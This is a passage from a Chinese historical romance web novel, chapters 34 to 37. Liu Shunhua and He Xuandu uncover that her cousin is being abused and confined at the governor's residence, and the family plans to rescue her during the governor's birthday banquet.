他离得太近,柳舜华忍不住往后退了一些,看了他一眼,只道:“我没有,我只是……” “那你为何不答应?”贺玄度半仰着头,静静地看着她,漆黑的眼眸干净纯粹,等待她给出解释。 不知为何,他那眼神,让柳舜华想起了等待喂食的绿玉,她忍不住低头笑了起来。 贺玄度被她笑得莫名其妙,“你笑什么?” 柳舜华点头:“好,我答应你。” 贺玄度这才收回了手,神色得意,“这还差不多,不枉我英雄救美,为你出尽风头。” 柳舜华蹙眉,无奈地摇摇头,他讲话口无遮拦的毛病,也不知道能不能改。 默默收拾好桌上的药品,柳舜华交还给一旁的侍卫。 贺玄度话入正题,“你今日来可是在刺史府有了什么发现,想要找我帮忙?” 柳舜华点头,“我确信,表姐被刺史府的人给软禁起来了。” 贺玄度:“你没有见到人?” 柳舜华道:“不,正是见到了人才觉得奇怪。” 贺玄度知道柳舜华心细,问道:“怎么个奇怪法?” 柳舜华握紧手,“表姐她……已经被郑充折磨得不成样子,全身都是伤,却不敢让人知晓。” 不等她说完,贺玄度便骂道:“这个郑充,打一个女人,算什么本事,看来昨夜真的是便宜他了。” 柳舜华深吸一口气,“只怕不止于此。今日见到表姐时,她似乎一直想方设法激怒我们,让我们快些离开。我特意留意过,她的一举一动似乎都有人在监视。” 贺玄度眉头一皱,“何以见得?” 柳舜华想了想,“表姐身边的嬷嬷,不对劲。表姐说话之时,眼光总是不经意地瞥向她,好像是在观察她的脸色。莹儿发现表姐被郑充毒打,说要寻刺史说理时,一旁的嬷嬷立即变了神色,下意识地抬起来手。她那动作,分明是想召人过来,以便随时制服我们。” 她忧心忡忡,“我总有一种感觉,此刻的刺史府,已经戒备深严,好像……好像要出什么大事一样。” 贺玄度略一思索,“你想让我如何帮你?” 柳舜华:“我在凉州不认识什么人,根本进不去刺史府。我想让你想想办法,找人进去,打探一下我表姐的情况。” 贺玄度点头,又嘱咐道:“好,我会想办法让人去查探。不过在这之前,你千万别轻举妄动,刺史府不是你能得罪的,知道吗?” 贺玄度看着她,表情严肃认真,全然没了方才嬉笑的神情。 这样的他,像极了前世的贺玄度。 柳舜华有些发怔。 贺玄度被她盯着,不好意思地摸摸头,“柳舜华,我知道,你此刻定是对我敬佩又仰慕,但你到底是女子,能不能矜持一点,别表现得这么明显。” 柳舜华两眼一闭,转过头去。 他总是在最关键的时候,打破对他的幻想。 柳舜华离开后,贺玄度瘫靠在椅背上,吩咐侍从去熬一碗醒酒汤。 周松走了进来,问道:“公子今日怎么喝了这么多,可是有探听到什么消息?” 贺玄度揉着额头,“别提了,他就是一个十足的赌徒,郑刺史所行之事,他应是知之甚少。不过,我还是打听到一个消息。据他说,刺史府最近花销有点大,他似乎想帮着郑刺史敛财。” 周松脸色暗沉,“这帮人真是贪得无厌,还嫌这些年搜刮得不够?” 贺玄度坐直了些,“郑充这边,不必再探了。倒是柳舜华所说之事,或许是条线索。” 周松点头,“柳小姐当真心思细腻,没想到,竟让她看出来了刺史府的端倪。” 贺玄度敛了神色,有一下没一下地敲击着桌面,“自上次诸侯进京,彭城王便动作频繁,这个关头他又派人到凉州,本就不寻常。若真如柳舜华方才所说,那刺史府最近,必有什么大动作。还有,她表姐这个时候 被人控制了起来,那她表姐,说不定会知道一些内情。若是能联系上她,或许会有意想不到的收获。” 周松一拍手:“对啊,我怎么没想到。那今晚我去一趟?今日我刚去过,那里我熟。” 贺玄度想了想,“你先去探探路即可,千万不要打草惊蛇,一切小心为上。 等到三更,贺玄度昏昏欲睡,突然听到门外有动静,马上惊醒。 起床一看,果然是周松回来了。 周松一身夜行衣,跑得气喘吁吁。 贺玄度倒了一杯水递过去,他抓起杯子一饮而尽。 贺玄度问:“怎么样?” 周松喘着气,“公子,有……大发现。刺史府里有可疑之人出没,里面有洗劫商队的贼匪。” 贺玄度眉头深锁,“你确定?” 周松咽了下口水,“万都尉根据幸存胡商的描述,找人画了画像,其中一人脸上有块青色的胎记,我看得真切。” 怪不得官府屡次出动都抓不到人,原来是官匪勾结。 只是有一点贺玄度不明白,他们为何要洗劫商队? 彭城王即便再不济,也不至于要靠洗劫商队来支撑他的野心。 烛火摇曳,灯芯噼啪炸开。 贺玄度突然想到了什么,问:“近些日子以来,贼匪洗劫商队共几起?刺史府组织清剿共几次?” 周松认真思索片刻,“贼匪出没洗劫商队,共八起。刺史府前前后后曾出动过五六次吧。” 贺玄度眉头深锁,“我怀疑,贼匪洗劫商队,从头到尾都是一个幌子,刺史府真正的目的,是借着剿匪的名义,将这些人带进凉州城。” 周松一惊,“刺史府竟敢如此行事,他们到底想要做什么?” 贺玄度摇头,他也猜不出对方究竟是什么目的。 不过事关重大,贺玄度不敢耽搁,立即召来侍卫,让他即刻启程,告知城外的万都尉。 安排好一切,贺玄度又问:“柳小姐的表姐那边呢?” 周松啧啧几声,怒骂道:“那个郑充,真不是东西。她那表姐,是真惨啊。我趴在墙头,隔着老远,都能听到她那惨叫。阖府上下,竟没有一个去劝。若不是怕打草惊蛇,我真想冲过去,给他毒打一顿。没用的玩意儿,只会打女人。” 他顿了一下,犹豫道:“我瞧着郑充那个暴虐样,用不了多久,她那表姐,便是不死也要残了。” 贺玄度握紧拳头,“方才不是说不知刺史府的目的嘛,不如就先拿他开刀,试试这里面的深浅。” 周松挠挠头,“公子打算怎么做?” 贺玄度:“他不是喜欢打人吗?好啊,那就打到他再也起不来。” 第35章 第35章他想,他应该相信她 郑充在街上被人打了,而且打得很惨。 消息是二表哥带回来的。 说是今日一早,郑充在街上不知道发什么疯,将自己的几个随从赶得远远的,嘴里嘟囔着他要通灵,然后突然拿了个布条,蒙住了自己的眼睛。就这么站在街上,神神道道的,也不知道在做什么。不一会,便有个络腮胡子的大汉冲了出来,钳住他的双手,劈头盖脸一顿打。等随从们反应过来赶去抓人时,大汉就在众目睽睽之下,消失了。 传闻实在过于离奇,几人听得一头雾水。 柳舜华疑惑道:“上次见郑充出门,至少有五六个随从,怎么连个人都没抓住?” 陈莹脸上止不住笑,“难不成真是老天都看不下去,显灵了。” 二表哥摇头,“不知道,怪力乱神的,有的说他是被附身了,还有的说是神仙出手,反正现在说什么的都有。” 柳舜华若有所思,“郑充人怎么样了?” 二表哥道:“被打得不轻,鼻青脸肿的,腿都断了,被人抬着回了刺史府。” 陈莹忍不住笑出声,“这个蠢货,活该。他还自己蒙上了眼,这不是明摆着等着人打。我只恨我没在,我要是在,一定要狠狠地给他两拳。” 柳舜华想了想,总有些不放心,“刺史府那边呢,有什么动静?” 二表哥:“说来也奇怪,郑充被抬走后,刺史府的人气势汹汹地去一趟都尉府。” 都尉府,难道这事和贺玄度有关? 陈莹下意识看向柳舜华,不住用眼神示意她。 柳舜华有些坐不住了,“我有急事,要出去一趟。” …… 都尉府内,贺玄度正斜靠在躺椅上,优然地吃着酪浆。 见柳舜华过来,他殷勤递过一碗,“我就猜到你要过来换药了,特意给你留的。” 柳舜华接过酪浆,看了一眼便放下。 还未开口,贺玄度便催促道:“我新研制的口味,你先尝一口试试,赏个脸。” 他仰着头,日光照在他脸上,眉眼带笑。 柳舜华双手不受控制地端起碗来,只见上面漂了些葡萄干,并其他干果,隐隐能闻到蜂蜜的甜香。 她细细尝了一口,只觉满口留香,忍不住又喝了起来。 她原先最喝不惯酪浆,如今被贺玄度一改,倒真是美味。 贺玄度见她一口气喝了个精光,得意道:“怎样,味道不错吧?” “味道是不错。”柳舜华放下碗,又道:“不过,还怎么还有闲心做这些稀奇古怪的吃食?” 贺玄度躺回软椅内,“你这话奇怪,我来凉州就是为了好好放松,为什么没有闲心?” 柳舜华站在椅子前,垂头看着他,“郑充是不是你找人打的?” 贺玄度坐得直了些,一双桃花眼闪着光,“你也听说了,是不是特别解气?我跟你说,你不用谢我,那个郑充,我也看不惯。” 柳舜华瞥了他一眼,贺玄度想法还真是简单。 光天化日之下,就这么打了郑充,还让刺史府的人找上门。 这不明摆着要同刺史府过不去。 她无奈道:“如今都尉府已经同刺史府闹翻,待万都尉归来,你要如何向他解释?” 贺玄度挑眉道:“谁说同刺史府闹翻了?” 柳舜华有些疑惑,“那刺史府过来做什么?” 贺玄度笑道:“郑充被打的时候,我可是远远地站着,人又不是我打的。而且我们都尉府的人进出都有记录,今日除了我,可没人出过府。他郑充被打,那是上天的安排,和我们都尉府有什么关系。刺史府的人问不出个所以然,就走了。” 柳舜华眉头一皱,“就这么简单?” 贺玄度摇晃着椅子,“就是这么简单,他们刺史府算什么东西,没有证据能拿我如何。刺史府那些人,一群酒囊饭袋,多行不义必自毙,就算真与他们闹翻,能是什么坏事?” 柳舜华一愕,贺玄度说得确有几分道理。 以贺玄度的身份,即便真得罪了刺史府,他们确实奈何不了他分毫。 只是他没必要趟这个浑水。 她道:“贺玄度,若是为了我,你其实没必要这么做,我可以自己……” 贺玄度眼皮一翻,打断了她的话,“也不全是因为你,打个人而已,看不惯就打了。” 柳舜华垂下眼眸,她知道,他这么说是为了让她安心。 她不是不识好歹的人,不再提这些,换了一个话题,“听闻说郑充中了邪,自己蒙上眼等人来打,是怎么回事?” 贺玄度果然来了兴致,坐起身道:“今日 郑充主动约我,说他想要跟着我学赌技。我就告诉他,只需在人最多的地方,蒙着眼睛听人来人往的动静,只要足够专注,就能灵通,听出骰子的点数,他就自己蒙上了眼。” 不得不说,这辈子的贺玄度虽说总是有些不着调,人也比较单纯,却还是有几分小聪明。 柳舜华又问:“那你找来动手的人呢,怎么就凭空消失了?” 贺玄度笑道:“这个更简单了。其实就是我事先想办法让郑充将他那些随从赶得远远的,又找来一些人混在人群中。等安排好的打手动手,将郑充打趴下后,那些随从看到,从远处跑过来的时候,打手已经趁乱换好了衣饰头巾,塞给我事先安排好的那些人,然后大摇大摆地离开。” 这个方法倒是巧,配合得当,很容易掩人耳目。 贺玄度仰头,“怎么样,我比你想象中的厉害吧?” 柳舜华看着他,眼神诚挚,“在我心里,你一直都是很厉害的人。” 贺玄度不过是随口一说,没想到柳舜华却这么认真。他平日里在外人面前什么样自己不是不知,不觉有些尴尬。 他咳了几声,嘟囔着,“柳舜华,拿出点你的骨气来,这么奉承,我可看不起你啊。” 柳舜华朝他微微一笑,收回目光。 有风吹来,柳舜华抬头,望向庭外高疏的枝头。 那是一株枣树,叶子油亮,青色的果子累累。 她想起了外祖家中的那株枣树,想起了表姐。 当年离开凉州时,院中的枣树已经结出了青色的果子,只需再等一个月,便能吃上。 她扒着马车,哭着不肯上车,表姐安慰她,“蓁蓁不哭,你放心,等院子里的枣子熟了,我一定把最大最甜的一颗留给你。” 马车缓缓驶出巷子,她掀开车帘,看到表姐追在马车后,哭成泪人。 贺玄度虽暂时替她收拾了郑充,可表姐的问题还是没有解决。她必须想办法,将表姐拖出火海才行。 柳舜华回过头,缓缓道:“你的人昨日去了刺史府吧,我表姐她……又挨打了吧?” 贺玄度见她一副伤感的模样,翻身从椅子上坐起,“是,已经去过了,不过只是远远看着,并没见到她。你先别急啊,郑充已经被打得下不了床,你放心,没有十天半个月,他起不来,你表姐暂时不会有事的。” 柳舜华低眸许久,终于抬起头,“贺玄度,你能帮我,我已经很感激了。只是这毕竟是我们家的事,我会自己动手,不想你再牵扯进来。 贺玄度一愣,“你想将你表姐救出来?那可是刺史府,眼下又守备森严,生人根本不可能放行,你要如何进?” 柳舜华一笑,“这得多亏你啊,给了我这个机会。” 贺玄度略一思索,“你是说,医工?” 柳舜华点头,“正是,郑充被打,刺史府必定会请医工上门医治,这是我唯一的机会。” 贺玄度扬眉,“那可真是太巧了,医治郑充的医工,是我舅舅的人。” 柳舜华愕然,怎么会这么巧? 贺玄度歪头笑,“怎么样,是不是又要把我牵扯进来了?柳舜华,好好地帮我上药,我会考虑考虑给你引荐一下。” 柳舜华垂头一笑,让人去拿了药,抓过贺玄度的手,帮他换药。 她顺着他的话,柔声道:“还请贺大公子大发慈悲,帮我引荐。” 贺玄度没有应承,只是问:“引荐之后呢,你想怎么做?” 柳舜华不想瞒着他,如实道:“自然是要跟着一同入刺史府,寻个恰当的时机,接近表姐,弄清原委。” 贺玄度摇头,“若是这样,我恐怕不能让你去。你表姐被刺史府的人监控起来,这里头一定大有文章,若是你被发现,那后果不堪设想,我不能把你往火坑里推。” 他劝道:“我可以寻个可靠的人进去,一定会想办法同你表姐碰面。” 眼下的刺史府,已是暗流涌动,他不能让她涉险。 柳舜华替他包扎了伤口,定定道:“不行,一定要是我才行,表姐她被困许久,已是杯弓蛇影,她不会再轻易相信任何人的。” 她看着他,眸中闪着坚定的光芒,“贺玄度,这是我唯一的机会了,我必须去。你相信我,我会保护好我自己,绝不会给你们都尉府添乱。” 贺玄度一瞬恍觉,柳舜华或许没有他想象的那般脆弱。 他想,他应该相信她。 …… 隔了两日,柳舜华才跟着范神医入了刺史府。 临行前,贺玄度特意找了人,帮她扮了男装,从头到脚装扮得很仔细,只要不开口,几乎没有破绽。 她穿着件粗布衣衫,戴着小帽,一路垂着头。 被迎着一路进了后院正房,柳舜华长吸一口气,不敢有丝毫懈怠。 后院的管事嬷嬷曾见过她,她必须要小心应对。 郑充就躺在床上,手脚都被包裹了起来,一张脸青一块紫一块,肿得像个蒸坏了的包子。 一个十来岁的小丫头正在喂着药,郑充边喝边呜呜地叫着。 管事嬷嬷一把拉开喂药的丫头,骂道:“蠢货,少夫人就是这么调教你的,这药这么苦,还不去拿些糖来。” 那丫头有些委屈,撇着嘴,“五姨,我已经……” 管事嬷嬷瞪了她一眼,她噘着嘴,走到一边去取糖。 柳舜华一看郑充那幅尊容,拼命忍着要笑的冲动,默默垂下头。 管事嬷嬷转向范神医,“范先生,这边请。” 范神医这才走到在床前坐下,柳舜华麻利地递过药箱。 门口的侍从向管事嬷嬷使了个眼色,管事嬷嬷会意,笑道:“范先生身边怎么换了个人?” 柳舜华心下一紧,有些僵硬,一动也不敢动。 范神医从容地施着针,手上的动作并未停,“前几日带的那个,话太多,嘴太碎。替贵人们相看病情,还是话少的好。” 管事嬷嬷点了点头,瞥了一眼柳舜华,柳舜华竭力按下心内的忐忑,索性抬起头,对着她点头示意。 她照过镜子,她的男装应当不会被认出,唯一需要克服的便是自己心内的恐惧。 管事嬷嬷没瞧出什么,对着门口的侍卫摇了摇头。 范神医施完针,柳舜华干净利落地收了针,递上止痛的药膏。 这两日,贺玄度带着她在范神医的医馆内忙活了两日,熟悉各种药材、药膏,以防在刺史府被人察觉出端倪。这种打下手的小事,她私下练了不下百遍,早已烂熟于胸。 管事嬷嬷盯着柳舜华看了片刻,突然道:“范神医,你这个徒弟瞧着有些面善。” 柳舜华递药膏的手,微微一顿,旋即收了回来。 她心如擂鼓,面上却丝毫未显,这种情况下,她只能配合范神医。 果然,范神医只是打开药膏,不动声色地涂抹在郑充的伤处。 “我这个徒弟,长得有些秀气,看起来格外和善些,来医馆瞧病的人,都说他面善得像自家亲戚呢。” 范神医微微叹了一口气,“不过,他也是个可怜孩子,前些日子逃荒过来的,还是个哑的,可惜了啊。” 管事嬷嬷瞬间面露遗憾:“我说怎么不说话,原来是个哑的。我方才还想着,人长这么俊,手脚又麻利,想将我那侄女……” 门口咳咳两声,管事嬷嬷遂止住话头。 柳舜华这才松口气,看来这管事嬷嬷并未认出她,只是想套近乎。 范神医涂好药膏,仔细包扎好,叮嘱道:“涂抹药膏后,可能会出现瘙痒的症状,你们要看着些。” 管事嬷嬷看着方才照看的小丫头,“听到没有,给我仔细些。” 范神医扫了一眼那丫头,“还有,伤处莫要碰到脏东西,尤其是汗液,要勤快些,常常擦拭,不能毛手毛脚的,以免渗进水引起炎症。若是照顾不周,只怕会落下什么病根啊。” 那小丫头是个精明的,眼一转,上前道:“嬷嬷,擦洗这些事,以往都是少夫人伺候的。少夫人心细,伺候得又好,我们这些人笨手笨脚的,自然没法比。” 管事嬷嬷一合计,少爷是府内独苗,若有什么差池,她可担待不起,不如就找个垫背的,出了事她也好推脱。 “正是,若论心细周到,你们便是一 百个也比不过少夫人。” 范神医捋着胡须,“既如此,那烦请将少夫人请出来,我当面亲自示范一下,以防有失。另外,公子的每日吃食,也需交待一下。” 管事嬷嬷面露难色朝着门外看去,门外的侍卫一时也有些踌躇。 “去,去,去”床上的郑充含糊不清地叫起来。 管事嬷嬷走进,仔细听了片刻,低声问:“公子可是要叫少夫人过来?” 郑充终于疲惫地点点头。 柳舜华心内冷笑,这个时候,倒是想起表姐来了。 管事嬷嬷心下生喜,她正愁如何能脱手,当即让人去请了少夫人。 少顷,陈茵走了进来。她微垂着头,脚步虚浮,依旧是厚厚的一层胭脂,面无表情。 不过才隔几日,柳舜华却察觉,表姐似乎老了许多,鬓角已经生了少许白发。 表姐十六岁出嫁刺史府,如今不过二十而已。 柳舜华鼻尖酸楚,捏紧双手,她生怕一个冲动,忍不住上前朝着郑充挥上几拳。 范神医当着陈茵的面,将郑充的手臂轻轻抬起,细细擦拭了一番,问道:“少夫人可看清了?” 陈茵木然地点着头。 范神医瞥了一眼柳舜华,转身朝着陈茵叮嘱道:“郑少爷这些日子的吃食,要格外注意些,少荤腥,多吃些蔬果。另外,郑少爷此前流了太多血,需要补一补。” “尤其是红枣粥,益多食。这枣也有格外讲究,要选那最大最甜的,还要果肉厚实、皮薄核小的。” 陈茵木然的眸中似乎有了一丝光亮,她抬起头来,望向范神医。 范神医一笑,对着柳舜华道:“我药箱中正好有几颗,你拿给少夫人看,日后煮粥,就要挑选这样的。” 柳舜华打开药箱,将早已准备好的红枣拿出,一步步走向陈茵。 陈茵盯着柳舜华,迷茫的目光一瞬有了光彩。 柳舜华忍着泪,朝着她笑了笑,将红枣递了过去。 管事嬷嬷一把过红枣,仔细瞧了一遍,笑道:“这红枣的确饱满皮薄,就是这核不知是不是也小?” 说罢,两手用力一扯,将红枣掰开。 暗红的果肉里,露出一颗小小的核。 管事嬷嬷呵呵笑着,“果然是上品啊,我看我们府内的都比不上。” 范神医笑道:“这些于你们不过是吃食,于我们而言,却是治病的良药,挑选自然要慎重,马虎不得。” 柳舜华听着两人一对一答,暗暗着急。 虽说今日过来只是探查,但若能寻个时机与表姐说上几句,自是最好。只是没想到,刺史府看管比上次尤甚,根本没有机会。 隔着众人,柳舜华偷瞥向陈茵,陈茵也正焦急地望向她。 突然,她瞧见陈茵抬手摸了摸自己的嘴唇。 柳舜华先是一愣,电光火石之间,她好像明白了什么,微微点了点头。 诊治好郑充,管事嬷嬷送范神医出门,陈茵也跟上来送行。 当着外人的面,管事嬷嬷不好多说,只好让她跟着。 柳舜华背着药箱,跟在范神医身后。 出了卧房,迈下台阶时,只听“哎呀”一声,陈茵一脚踏空,眼看就要从台阶上摔下来。 柳舜华眼疾手快,忙跑过去搀住了她。 陈茵幽幽看了她一眼,用尽全身力气,将一只手死死按在柳舜华的手上。 “少夫人。”管事嬷嬷慌忙叫了起来。 陈茵听到叫她,像是受到了惊吓,一把推开搀着她的柳舜华,身子一歪,倒在地上。 管事嬷嬷上前,“少夫人,你怎么样了?” 陈茵微微颤抖着,摊开了手,一双白嫩的手,鲜血淋漓。 再瞧一旁,一粒尖锐的石子上,同样满是血迹。 范神医见状,上前一步,还未张口,便听管事嬷嬷嚷道:“来人啊,快送少夫人去包扎。” 范神医自然明白管事嬷嬷的意思,道别后带着柳舜华出了府。 一直等到上了马车,范神医叹了口气,“没想到刺史府守备如此严密,竟没有说话的机会。柳小姐,没能帮到你,实在对不住。” 柳舜华摇摇头,感激道:“不,范先生高义,已经帮了我许多。而且,今日并非一无所获。” 她缓缓将手掌摊开,掌心赫然多了个红色的“寿”字。 第36章 第36章你都不看我一眼 “寿”字是什么意思,柳舜华一时想不明白。 她暗自揣摩了许久,千头万绪,脑中早已是一团乱麻。 送范神医回到医馆,柳舜华没有立即回去,而是去了都尉府。 这些日子她常来,都尉府的人都已经认识了她,可她此刻穿着男装,又一番乔装打扮,侍卫们认不出她,死活不放她进去。 柳舜华没办法,只得让人进去通禀。 过了许久,才有人带着她进去。 花厅廊下,贺玄度不知道在向周松交待什么,眸色深沉,神情严肃,周身笼罩着一股莫名的压迫感。 看到柳舜华进来,贺玄度脸色一变,又是一副飞扬无羁的模样。 柳舜华一身男装,不似先前假装药童时畏畏缩缩的模样,一双眸子明亮得似凉州城夜空里的星辰,虽有些纤弱,但却身姿端正,颇有几分粉面书生的模样。 贺玄度抱臂看着她,调侃道:“柳大公子,这么快便回来了,事情办得怎么样?” 柳舜华先是一愣,旋即想起她现在依旧是男装,摸着头笑了笑。 “来得匆忙,未来得及换衣服,我有件事想要同你说。” 贺玄度弯腰倒了一杯茶,“跑了许久,不累吗,先喝点再说。” 柳舜华没有接,示意贺玄度将茶杯放下,“今日计划有变,未能同表姐说上话。不过,她却给我留了提示,你看。” 说罢便摊开手掌。 贺玄度凑过去一看,便瞧见她掌心的红字,“寿,什么意思?” 柳舜华摇头,“这是表姐仓促间给我的,可我实在猜不透其中深意。” 贺玄度盯着红字看了许久,“你先别急,你表姐给你这个提示,就是想让你看懂这其中的意思,一定不会太复杂,咱们别往那深了想。” 柳舜华低眸沉思片刻,“你说得对,或许就是字面意思,只是我想不明白,表姐被困,与寿辰或寿宴有什么干系。” 两人正苦思冥想,有侍从走了过来,恭敬道:“公子,刺史府派人送来的请柬。” 贺玄度眼眸一沉,“请柬?呈来。” 侍从递上,贺玄度打开,眼中顿时闪过亮光,兴奋地将请柬递给柳舜华。 柳舜华歪过身子,只一眼,便停在几个大字上:元始六年,四月二十,设宴刺史府,恭候大驾。 三日后,是郑刺史的生辰。 柳舜华激动道:“原来如此,表姐是想提醒我,郑刺史的寿宴,是个脱困的机会。” 距郑刺史的生辰宴,还有三日,她一定要在此前,想到一个完全之策,救表姐出火海。 贺玄度思忖良久,“寿宴当日,刺史府人来人往,守备肯定会松懈,的确是个救人的机会。只是一点,郑刺史的生辰,并不是什么秘密,只要稍加打探,不难知晓。你表姐费尽心机给你这个提示,我总觉得这里面,不太寻常。郑刺史的生辰,难道与你表姐被软禁有关?” 柳舜华从激动中暂缓过来,“你是担心,郑刺史这次的生辰宴,有猫腻?” 贺玄度皱眉,他知晓劝不住她,只道:“我总有种不好的预感,柳舜华,若你想在生辰宴上动手,务必要小心行事。” 柳舜华点头,“你放心,我会小心的。倒是你,这寿宴你去吗?” 贺玄度懒懒道:“前些日子都尉府才同他们闹翻,这会还送帖子过来,宴无好宴,搞不好就是场鸿门宴,我就不上赶着去了。” 他转头歪向柳舜华,“而且,万一你需要人手,我也好赶过去帮忙。都尉府百余人,都是你的后盾。” 柳舜华下意识地拒绝,“不用麻烦,我会想办法。” 贺玄度笑了起来,“既不 想请我帮忙,那你过来同我说这些做什么?” 柳舜华一怔,连她自己也没意识到,她已习惯把贺玄度当成最信任的人。但凡她有什么拿不定主意的行动,都会不自觉想同贺玄度商量。 她扭过头,嘴硬道:“我顺路,就过来看看。” 贺玄度脸上浮过一抹深意,笑道:“顺路,过来看看?是看我吗,那怎么你都不肯看我一眼?” 柳舜华退后几步,咳了一声,“天色不早了,我要回去了。” 走得很远,还能听到贺玄度在后面大笑。 自都尉府出来,柳舜华抚胸平静,思索一路。 方才贺玄度面前,她一副胸有成竹的模样,不过是不想他牵扯太深。 她知晓,若想救出表姐,单凭她一人断难以成事。 事到如今,表姐之事,是瞒不住了,也没必要再瞒。 庭院内,风吹过枣树沙沙作响。 柳棠华正拉着二表哥在枣树下下棋,她落错了棋,正拿着棋子耍赖。 看到柳舜华回来,她欢喜道:“姐姐你回来了。” 凉州的生活不似长安,时时拘在后宅。这些时日莹妹妹在教她骑马,大表哥教她打野鸡,二表哥教她下水摸鱼,柳棠华整日里玩得忘我,倒也没有分外黏着柳舜华。 柳舜华靠着柳棠华静静地坐了下来,问道:“大表哥和莹儿呢?” 二表哥抬头道:“他们都刚回来,在喂马呢。” 柳舜华又朝着屋内看了一眼,“舅舅、舅母还有外祖都在吧?” 二表哥觉出不对,放下手中的棋子,“舜华,你是不是有什么事想说?” 柳舜华咬了咬唇,点点头。 二表哥起身,开口道:“是不是大姐的事?” 见柳舜华垂下头,二表哥便知猜对了。 方才她问大哥与莹儿,便已猜出个大概,他沉声道:“我去叫他们到大哥房里,不会惊动父母还有祖父。” 柳棠华第一次见姐姐表情如此凝重,乖乖跟在柳舜华身后,一起到了大表哥房内候着。 等了片刻,三人走了进来。 陈莹挨着柳舜华坐了下来,表哥两人则站在一旁。 许久,柳舜华才缓缓开口,“方才,二表哥也同你们说了吧,是关于表姐的事。” 大表哥拧眉道:“是不是郑充他为难姐姐?” 陈莹见话已经说开,也不再藏着掖着,低声道:“前些日子,我们去了刺史府,姐姐她……她被郑充给打了。” 大表哥攥紧拳头,怒道:“郑家欺人太甚,这个杀千刀的郑充,我现在就去宰了他。” 二表哥皱眉,“既如此,不如禀明外祖与父亲,一同去刺史府说理去。” 柳舜华拦住他们,“你们先别急,听我说,事情没有你们想得那么简单。表姐她,被刺史府给软禁起来了。” “软禁?” 众人面面相觑,明显是没想到竟会是这样。 柳舜华缓缓将她打探到的消息,包括表姐的处境悉数告知。 屋内静得可怕。 许久,陈莹捂着脸呜呜地哭了起来。 她误会了姐姐,她以为,姐姐嫁了高门便看不起他们。 却不知,姐姐刻意疏远,只是为了不连累他们。 姐姐在刺史府受苦受难,她却还在怪她。 那日,还说了那样重的话。 姐姐当时,一定难过极了。 大表哥强自镇定,“他们为何要软禁姐姐?” 柳舜华道:“我也不知,只是他们戒备如此森严,定然是大事。” 二表哥低头想了许久,抬头问:“此事,要不要告诉父亲?” “外祖年纪大了,又病着,此事绝不能让他知晓。至于父亲……”大表哥顿了一下,沉声道:“还是不要让他操心了。” 说完,大表哥长叹一口气,挺直了身子,“我是家中长子,出了这种事,我若不撑起陈家的门面,如何对得起祖宗。明日我就去上刺史府,便是死,也要把姐姐给带出来。” 二表哥站了出来,“大哥,你说这话将我置于何地,我也是陈家的男人。若是眼睁睁看着姐姐受苦,让你一个人出头,我还算什么男人?” 陈莹擦干眼泪,“我虽是女子,也是咱们陈家人,一家人就要同患难,共进退,我也去。” 柳棠华一听,当即附和道:“我也要去,我们一起接大姐姐回家。” 柳舜华鼻头酸楚,“好,咱们一起,只是不是明日。” 陈莹急得直跺脚,“为何?多一日姐姐便多受一日苦。” 柳舜华握住她的手,“我知道你着急,可若要救出表姐,还需从长计议。” 大表哥让自己冷静下来,沉思道:“舜华说得有理,若刺史府真有大动静,咱们即便是去,也带不回姐姐,需想个周全的法子才行。” 二表哥颓然坐在床上,“除了硬闯,还能有什么法子?” 柳舜华上前道:“三日后,郑刺史的寿辰,就是个绝佳的机会。” 大表哥猛地一拍头,“是啊,我怎么把这事给忘了。到时候人多眼杂,咱们正好可以趁乱救出姐姐。” 二表哥叹道:“往年他们老太爷在时,还不忘送请柬过来,今年却是连送都不送了,样子都懒得做。没有请柬,咱们如何进得去?” 柳舜华却道:“这是好事,外祖与舅舅不用去,也免得日后有嫌疑。不过,有一点你说得对,如何在寿宴当日混进刺史府,这的确是个大问题。” 众人沉默片刻,陈莹突然眼睛一亮,“我有一个朋友,她可以带我们进去。” 二表哥看着她,问:“你说的是谁,我怎么不知道你有这么厉害的朋友?” 陈莹咳了一声,低声道:“醉月居的古赞丽。” 大表哥愣了一下,恼道:“你和她是朋友,看来平日里没少去那种地方。我说怎么每到夜市的时候就找不到你人,原来是跑到酒肆去胡混。” 陈莹有些心虚,嘟囔着,“大哥,现在不是骂我的时候,等救出了姐姐,我随你骂。” 柳舜华秀眉一扬,“古赞丽,是上次你说的那个舞姬吗?” 上次醉月居内,陈莹与郑充起了冲突,她忙着应付郑充,并未瞧见古赞丽。 陈莹点头:“对,古赞丽是整个凉州城最好的舞姬,刺史府每年节庆都会邀她去。” 二表哥道:“难不成你想我们都扮成舞姬,跟着她混进去?” 陈莹瞥了他一眼,“我可以自己进去救姐姐,你们在外面接应就好。” 大表哥看着两人吵闹,叹了口气,对着一直低头沉思的柳舜华道:“舜华,刺史府你去过,可有什么主意?” 柳舜华抬眸,望向院中的枣树,“我好像,已经想到办法了。” 接下来的两日,陈莹每日都带着柳棠华前去醉月居,两个表哥从外面扛了许多木头回来,柳舜华拿着画好的图纸,对着它们一通切割拼接。 外祖同舅舅看他们忙里忙外,都是一头雾水。 大表哥谎称此前姐姐留下的柜子太旧,要为柳舜华打造一个新柜子。 紧赶慢赶,柜子终于在寿宴之前完工。 众人看着柜子,长舒一口气,只等着明日寿宴的到来。 第37章 第37章营救 四月二十,小满方过,天渐渐热了起来。 刺史府门前早已排起了长龙,一整条街被围得水泄不通,热闹非凡。 柳舜华坐在二楼茶馆,静静地瞧着楼下来来往往的人群。 饶是上辈子曾见识过相府宴席的盛况,她依旧不得不感叹,郑刺史此次寿宴的排场之大。 等了片刻,远远看到两辆马车靠近,马车上皆印着醉月居的标识。 陈莹轻声提醒,“表姐,他们来了。” 柳舜华向下望去,驾车的二表哥觉察到她们的目光,抬起头,朝她们示意一切顺利。 马车内,柳棠华还在摆弄着身上的衣饰,既新奇又兴奋。 她今日穿了醉月居的舞姬装,藕荷色的长裙,越发衬得她出水芙蓉一般。长袖轻盈,像两条水带一样,一条垂下来的流苏腰带上挂着铃铛,稍一碰撞,便发出 悦耳的声响。 欣赏完衣裙,柳棠华又将目光转向古赞丽。 她看了看古赞丽,又垂头看了看自己的衣裙,微微一声叹息。 “姐姐,我在长安见过好多美人,可她们全部算起来,都不及你。方才我已经觉得我这身够美了,可一看到你……哎……” 古赞丽被她逗得笑了起来,捏着她的脸,用标准的汉语道:“你这张小嘴,怎么这么招人喜欢,怪不得莹莹总带着你。” 柳棠华扭了扭身子,歪在古赞丽身旁,眨着眼,“姐姐你为什么愿意冒着危险帮我们啊?” 